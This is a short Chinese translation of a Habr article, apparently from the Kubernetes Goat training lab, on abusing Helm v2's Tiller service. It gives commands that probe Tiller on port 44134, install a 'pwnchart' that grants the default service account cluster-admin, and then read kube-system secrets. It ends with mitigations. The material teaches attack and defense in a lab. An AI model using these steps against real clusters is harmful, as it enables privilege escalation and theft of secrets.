Helm 是 Kubernetes 的包管理器,类似于 apt-get
对于Ubuntu。 在本文中,我们将看到之前版本的 helm (v2),默认安装了tiller 服务,我们将通过该服务访问集群。
让我们准备集群;为此,请运行以下命令:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
示范
- 如果您没有配置任何其他内容,helm v2 会启动tiller 服务,该服务具有具有完整集群管理员权限的RBAC。
- 安装到命名空间后
kube-system
出现tiller-deploy
,并且还打开端口 44134,绑定到 0.0.0.0。 这可以使用 telnet 进行检查。
$ telnet tiller-deploy.kube-system 44134
- 现在您可以连接到tiller 服务。 与tiller服务通信时,我们将使用helm二进制文件来执行操作:
$ helm --host tiller-deploy.kube-system:44134 version
- 让我们尝试从命名空间获取 Kubernetes 集群机密
kube-system
:
$ kubectl get secrets -n kube-system
- 现在我们可以创建自己的图表,其中我们将创建一个具有管理员权限的角色并将该角色分配给默认服务帐户。 使用此服务帐户中的令牌,我们获得了对集群的完全访问权限。
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- 现在,当
pwnchart
部署后,默认服务帐户具有完全管理访问权限。 让我们再次检查一下如何从中获取秘密kube-system
kubectl get secrets -n kube-system
该脚本的成功执行取决于tiller 的部署方式;有时管理员会将其部署在具有不同权限的单独命名空间中。 Helm 3 不易受到此类漏洞的影响,因为…… 里面没有舵柄。
译者注: 使用网络策略来过滤集群中的流量有助于防止此类漏洞。
来源: habr.com